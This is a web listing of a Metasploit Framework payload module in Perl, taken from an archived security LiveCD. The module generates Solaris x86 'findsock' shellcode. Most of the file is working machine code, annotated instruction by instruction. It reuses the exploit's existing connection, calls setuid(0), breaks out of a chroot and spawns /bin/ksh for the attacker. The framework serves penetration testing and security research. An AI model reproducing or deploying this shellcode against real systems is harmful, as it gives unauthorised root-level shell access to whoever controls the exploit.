home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / solaris_ia32_findsock.pm < prev    next >
Text File  |  2006-06-30  |  7KB  |  147 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::solaris_ia32_findsock;
  11. use strict;
  12. use base 'Msf::PayloadComponent::FindConnection';
  13.  
  14. my $info =
  15. {
  16.   'Name'         => 'Solaris IA32 SrcPort Findsock Shell',
  17.   'Version'      => '$Revision: 1.1 $',
  18.   'Description'  => 'Spawn a shell on the established connection',
  19.   'Authors'      => [ 'LSD [Unknown License]', ],
  20.   'Arch'         => [ 'x86' ],
  21.   'Priv'         => 0,
  22.   'OS'           => [ 'solaris' ],
  23.   'Size'         => '',
  24.   'UserOpts'     =>
  25.     {
  26.       'CPORT' => [1, 'PORT', 'Local port used by exploit'],
  27.     }
  28. };
  29.  
  30. sub new {
  31.   my $class = shift;
  32.   my $hash = @_ ? shift : { };
  33.   $hash = $class->MergeHashRec($hash, {'Info' => $info});
  34.   my $self = $class->SUPER::new($hash, @_);
  35.  
  36.   $self->_Info->{'Size'} = $self->_GenSize;
  37.   return($self);
  38. }
  39.  
  40. sub Build {
  41.   my $self = shift;
  42.   return($self->Generate($self->GetVar('CPORT')));
  43. }
  44.  
  45. sub Generate {
  46.   my $self = shift;
  47.   my $port = shift;
  48.   my $off_port = 39;
  49.   my $port_bin = pack('n', $port);
  50.  
  51.   my $shellcode = # solaris findsock code by lsd
  52.   # char findsckcode[]=    # /* 67 bytes                       */
  53.   "\x56"                 . # /* pushl   %esi                   */
  54.   "\x5f"                 . # /* popl    %edi                   */
  55.   "\x83\xef\x7c"         . # /* subl    $0x7c,%edi             */
  56.   "\x57"                 . # /* pushl   %edi                   */
  57.   "\x8d\x4f\x10"         . # /* leal    0x10(%edi),%ecx        */
  58.   "\xb0\x91"             . # /* movb    $0x91,%al              */
  59.   "\xab"                 . # /* stosl   %eax,%es:(%edi)        */
  60.   "\xab"                 . # /* stosl   %eax,%es:(%edi)        */
  61.   "\x91"                 . # /* xchgl   %ecx,%eax              */
  62.   "\xab"                 . # /* stosl   %eax,%es:(%edi)        */
  63.   "\x95"                 . # /* xchgl   %eax,%ebp              */
  64.   "\xb5\x54"             . # /* movb    $0x54,%ch              */
  65.   "\x51"                 . # /* pushl   %ecx                   */
  66.   "\x66\xb9\x01\x01"     . # /* movw    $0x0101,%cx            */
  67.   "\x51"                 . # /* pushl   %ecx                   */
  68.   "\x33\xc0"             . # /* xorl    %eax,%eax              */
  69.   "\xb0\x36"             . # /* movb    $0x36,%al              */
  70.   "\xff\xd6"             . # /* call    *%esi                  */
  71.   "\x59"                 . # /* popl    %ecx                   */
  72.   "\x33\xdb"             . # /* xorl    %ebx,%ebx              */
  73.   "\x3b\xc3"             . # /* cmpl    %ebx,%eax              */
  74.   "\x75\x0a"             . # /* jne     <findsckcode+47>       */
  75.   "\x66\xbb\x12\x34"     . # /* movw    $0x1234,%bx            */
  76.   "\x66\x39\x5d\x02"     . # /* cmpw    %bx,0x2(%ebp)          */
  77.   "\x74\x02"             . # /* je      <findsckcode+49>       */
  78.   "\xe2\xe6"             . # /* loop    <findsckcode+23>       */
  79.   "\x6a\x09"             . # /* pushb   $0x09                  */
  80.   "\x51"                 . # /* pushl   %ecx                   */
  81.   "\x91"                 . # /* xchgl   %ecx,%eax              */
  82.   "\xb1\x03"             . # /* movb    $0x03,%cl              */
  83.   "\x49"                 . # /* decl    %ecx                   */
  84.   "\x89\x4c\x24\x08"     . # /* movl    %ecx,0x8(%esp)         */ 
  85.   "\x41"                 . # /* incl    %ecx                   */
  86.   "\xb0\x3e"             . # /* movb    $0x3e,%al              */
  87.   "\xff\xd6"             . # /* call    *%esi                  */
  88.   "\xe2\xf4"             . # /* loop    <findsckcode+55>       */
  89.  
  90.  
  91.   # char setuidcode[]=     # /* 7 bytes                        */
  92.   "\x33\xc0"             . # /* xorl    %eax,%eax              */
  93.   "\x50"                 . # /* pushl   %eax                   */
  94.   "\xb0\x17"             . # /* movb    $0x17,%al              */
  95.   "\xff\xd6"             . # /* call    *%esi                  */
  96.  
  97.   # char chrootcode[]=     # /* 40 bytes                       */
  98.   "\x68b..."             . # /* pushl   $0x2e2e2e62            */
  99.   "\x89\xe7"             . # /* movl    %esp,%edi              */
  100.   "\x33\xc0"             . # /* xorl    %eax,%eax              */
  101.   "\x88\x47\x03"         . # /* movb    %al,0x3(%edi)          */
  102.   "\x57"                 . # /* pushl   %edi                   */
  103.   "\xb0\x50"             . # /* movb    $0x50,%al              */
  104.   "\xff\xd6"             . # /* call    *%esi                  */
  105.   "\x57"                 . # /* pushl   %edi                   */
  106.   "\xb0\x3d"             . # /* movb    $0x3d,%al              */
  107.   "\xff\xd6"             . # /* call    *%esi                  */
  108.   "\x47"                 . # /* incl    %edi                   */
  109.   "\x33\xc9"             . # /* xorl    %ecx,%ecx              */
  110.   "\xb1\xff"             . # /* movb    $0xff,%cl              */
  111.   "\x57"                 . # /* pushl   %edi                   */
  112.   "\xb0\x0c"             . # /* movb    $0x0c,%al              */
  113.   "\xff\xd6"             . # /* call    *%esi                  */
  114.   "\xe2\xfa"             . # /* loop    <chrootcode+28>        */
  115.   "\x47"                 . # /* incl    %edi                   */
  116.   "\x57"                 . # /* pushl   %edi                   */
  117.   "\xb0\x3d"             . # /* movb    $0x3d,%al              */
  118.   "\xff\xd6"             . # /* call    *%esi                  */
  119.  
  120.   # char shellcode[]=      # /* 25+8 bytes                     */
  121.   "\xeb\x12"             . # /* jmp     <shellcode+20>         */
  122.   "\x33\xd2"             . # /* xorl    %edx,%edx              */
  123.   "\x58"                 . # /* popl    %eax                   */
  124.   "\x8d\x78\x14"         . # /* leal    0x14(%eax),edi         */
  125.   "\x57"                 . # /* pushl   %edi                   */
  126.   "\x50"                 . # /* pushl   %eax                   */
  127.   "\xab"                 . # /* stosl   %eax,%es:(%edi)        */
  128.   "\x92"                 . # /* xchgl   %eax,%edx              */
  129.   "\xab"                 . # /* stosl   %eax,%es:(%edi)        */
  130.   "\x88\x42\x08"         . # /* movb    %al,0x8(%edx)          */
  131.   "\xb0\x0b"             . # /* movb    $0x0b,%al              */
  132.   "\xff\xd6"             . # /* call    *%esi                  */
  133.   "\xe8\xe9\xff\xff\xff" . # /* call    <shellcode+2>          */
  134.   "/bin/ksh";
  135.  
  136.   substr($shellcode, $off_port, 2, $port_bin);
  137.   return($shellcode);
  138. }
  139.  
  140. sub _GenSize {
  141.   my $self = shift;
  142.   my $bin = $self->Generate('4444');
  143.   return(length($bin));
  144. }
  145.  
  146. 1;
  147.